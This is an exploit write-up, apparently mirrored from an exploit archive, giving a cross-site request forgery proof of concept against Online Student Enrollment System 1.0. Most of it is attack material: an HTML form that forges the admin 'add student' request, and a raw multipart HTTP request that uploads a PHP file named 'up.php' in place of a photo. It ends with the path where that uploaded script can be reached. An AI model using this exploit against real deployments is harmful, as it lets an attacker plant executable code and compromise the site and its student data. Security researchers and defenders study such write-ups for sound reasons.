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## https://sploitus.com/exploit?id=PACKETSTORM:158207
# Exploit Title: Online Student Enrollment System 1.0 - Cross-Site Request Forgery (Add Student)  
# Google Dork: N/A  
# Date: 2020-06-20  
# Exploit Author: BKpatron  
# Vendor Homepage: https://www.campcodes.com/projects/php/4745/online-student-enrollment-system-in-php-mysqli/  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/student_enrollment_1.zip  
# Version: v1.0  
# Tested on: Win 10  
# CVE: N/A  
# my website: bkpatron.com  
  
# Vulnerability:  
  
This product is unprotected against CSRF vulnerabilities.  
The application interface allows users to perform certain actions  
via HTTP requests without performing any validity checks to verify the  
requests.  
you can upload a PHP file here with CSRF.  
  
# CSRF PoC( add student ,File Upload):  
  
<html>  
<body>  
<form enctype="multipart/form-data" method="POST" action="http://localhost/student_enrollment/admin/index.php?page=add-student">  
<label for="name">Student Name</label>  
<input name="name" type="text" id="name" value="" required=""><br/>  
<label for="roll">Student Roll</label>  
<input name="roll" type="text" value="" pattern="[0-9]{6}" id="roll" required=""><br/>  
<label for="address">Student Address</label>  
<input name="address" type="text" value="" id="address" required=""><br/>  
<label for="pcontact">Parant Contact NO</label>  
<input name="pcontact" type="text" id="pcontact" pattern="01[5|6|7|8|9][0-9]{8}" value="" placeholder="01........." required=""><br/>  
<label for="class">Student Class</label>  
<select name="class" class="form-control" id="class" required=""><br/>  
<option>Select</option>  
<option value="1st">1st</option>  
<option value="2nd">2nd</option>  
<option value="3rd">3rd</option>  
<option value="4th">4th</option>  
<option value="5th">5th</option>  
</select><br/>  
<label for="photo">Student Photo</label>  
<input name="photo" type="file" id="photo" required=""><br/>  
<input name="addstudent" value="Add Student" type="submit" class="btn btn-danger">  
</form>  
</body>  
</html>  
  
#HTTP Request:  
  
http://localhost/student_enrollment/admin/index.php?page=add-student  
  
POST /student_enrollment/admin/index.php?page=add-student HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------1586330740172  
Content-Length: 1669  
Referer: http://localhost/exploit2.php  
Cookie: _ga=GA1.1.1667382299.1577635358; PHPSESSID=2dhsgkdiavgfefp6g0qp63ruqe  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
-----------------------------1586330740172: undefined  
Content-Disposition: form-data; name="name"  
bkpatron  
-----------------------------1586330740172  
Content-Disposition: form-data; name="roll"  
  
333000  
-----------------------------1586330740172  
Content-Disposition: form-data; name="address"  
  
0000  
-----------------------------1586330740172  
Content-Disposition: form-data; name="pcontact"  
  
01911111111  
-----------------------------1586330740172  
Content-Disposition: form-data; name="class"  
  
1st  
-----------------------------1586330740172  
Content-Disposition: form-data; name="photo"; filename="up.php"  
Content-Type: application/octet-stream  
...  
  
// uploaded file path: http://localhost/student_enrollment/admin/images/your_file.php